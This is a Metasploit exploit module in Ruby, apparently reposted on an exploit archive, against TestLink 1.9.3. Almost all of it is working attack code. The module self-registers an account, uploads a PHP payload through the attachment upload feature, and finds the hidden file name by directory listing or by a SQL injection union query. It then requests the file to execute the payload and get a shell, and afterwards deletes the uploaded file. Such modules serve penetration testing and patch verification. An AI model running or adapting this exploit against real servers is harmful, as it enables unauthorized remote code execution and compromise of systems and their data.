[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TestLink v1.9.3 Arbitrary File Upload Vulnerability
# Published : 2012-08-15
# Author :
# Previous Title : SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
# Next Title : JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "TestLink v1.9.3 Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in TestLink version 1.9.3 or prior.
				This application has an upload feature that allows any authenticated
				user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
				directory with a randomized file name. The file name can be retrieved from
				the database using SQL injection.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					['URL', 'http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/']
					#['OSVDB', ''],
					#['EDB',   ''],
				],
			'Payload'        =>
				{
					'BadChars' => "x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 13 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/testlink-1.9.3/'])
			], self.class)
	end

	def check

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		peer = "#{rhost}:#{rport}"

		# retrieve software version from login page
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}login.php"
			})

			return Exploit::CheckCode::Unknown if res.nil?
			return Exploit::CheckCode::Vulnerable if res and res.code == 200 and res.body =~ /<p><img alt="Company logo" title="logo" style="width: 115px; height: 53px;"s+src="[^"]+" />s+<br />TestLink 1.9.3/
			return Exploit::CheckCode::Detected if res and res.body =~ /TestLink project <a href="http://testlink.sourceforge.net/docs/testLink.php">Home</a><br />/
			return Exploit::CheckCode::Safe
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def upload(base, fname, file)

		boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
		data_post  = "--#{boundary}rn"
		data_post << "Content-Disposition: form-data; name="uploadedFile"; filename="#{fname}"rn"
		data_post << "Content-Type: text/phprn"
		data_post << "rn"
		data_post << file
		data_post << "rn"
		data_post << "--#{boundary}rn"
		data_post << "Content-Disposition: form-data; name="MAX_FILE_SIZE"rn"
		data_post << "rn1048576rn"
		data_post << "--#{boundary}rn"

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}lib/attachments/attachmentupload.php",
			'ctype'   => "multipart/form-data; boundary=#{boundary}",
			'data'    => data_post,
			'cookie'  => datastore['COOKIE'],
		})

		return res
	end

	def register(base, user, pass)

		res   = send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{base}firstLogin.php",
			'data'    => "login=#{user}&password=#{pass}&password2=#{pass}&firstName=#{user}&lastName=#{user}&email=#{user}%40#{user}.tld&doEditUser=Add+User+Data",
		})

		return res

	end

	def login(base, user, pass)

		res   = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{base}login.php",
			'data'   => "reqURI=&destination=&tl_login=#{user}&tl_password=#{pass}&login_submit=Login",
			'cookie' => datastore['COOKIE'],
		})

		return res

	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("#{@token}.php")
		else
			client.shell_command_token("rm #{@token}.php")
		end
	end


	def exploit

		base  = target_uri.path
		base << '/' if base[-1, 1] != '/'
		@peer = "#{rhost}:#{rport}"
		datastore['COOKIE'] = "PHPSESSID="+rand_text_alpha_lower(26)+";"

		# register an account
		user  = rand_text_alphanumeric(rand(10)+6)
		print_status("#{@peer} - Registering user (#{user})")
		res   = register(base, user, user)
		if res and res.code == 200 and res.body =~ /<html><head></head><body><script type='text/javascript'>location.href=/
			print_status("#{@peer} - Registered successfully")
		else
			print_error("#{@peer} - Registration failed")
			return
		end

		# login
		print_status("#{@peer} - Authenticating user (#{user})")
		res   = login(base, user, user)
		if res and res.code == 200 and res.body =~ /<html><head></head><body><script type='text/javascript'>location.href=/
			print_status("#{@peer} - Authenticated successfully")
		else
			print_error("#{@peer} - Authentication failed")
			return
		end

		# set id and table name
		id    = rand(1000)+1
		table = 'nodes_hierarchy'
		print_status("#{@peer} - Setting id (#{id}) and table name (#{table})")
		begin
			res = send_request_cgi({
				'method'  => 'GET',
				'uri'     => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}",
				'cookie' => datastore['COOKIE'],
			})
			if res and res.code == 200
				print_status("#{@peer} - Setting id and table name successfully")
			else
				print_error("#{@peer} - Setting id and table name failed")
				return
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# upload PHP payload to ./upload_area/nodes_hierarchy/[id]/
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes)")
		fname  = rand_text_alphanumeric(rand(10)+6) + '.php'
		php    = %Q|<?php #{payload.encoded} ?>|
		begin
			res    = upload(base, fname, php)
			if res and res.code == 200 and res.body =~ /<p>File uploaded</p>/
				print_good("#{@peer} - File uploaded successfully")
			else
				print_error("#{@peer} - Uploading PHP payload failed")
				return
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# attempt to retrieve real file name from directory index
		print_status("#{@peer} - Retrieving real file name from directory index.")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}upload_area/#{table}/#{id}/"
			})
			if res and res.code == 200 and res.body =~ /b([a-f0-9]+).php/
				@token = $1
				print_good("#{@peer} - Successfully retrieved file name (#{@token})")
			else
				print_error("#{@peer} - Could not retrieve file name from directory index.")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		# attempt to retrieve real file name from the database
		if @token.nil?
			print_status("#{@peer} - Retrieving real file name from the database.")
			sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--"
			begin
				res = send_request_cgi({
					'method' => 'GET',
					'uri'    => "#{base}#{sqli}",
					'cookie' => datastore['COOKIE'],
				})
				if res and res.code == 200 and res.body =~ /b([a-f0-9]+).php/
					@token = $1
					print_good("#{@peer} - Successfully retrieved file name (#{@token})")
				else
					print_error("#{@peer} - Could not retrieve file name from the database.")
					return
				end
			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
				print_error("#{@peer} - Connection failed")
				return
			end
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Executing payload (#{@token}.php)")
		begin
			send_request_cgi({
				'method' => 'GET',
				'uri'    => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php"
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{@peer} - Connection failed")
			return
		end

		handler
	end
end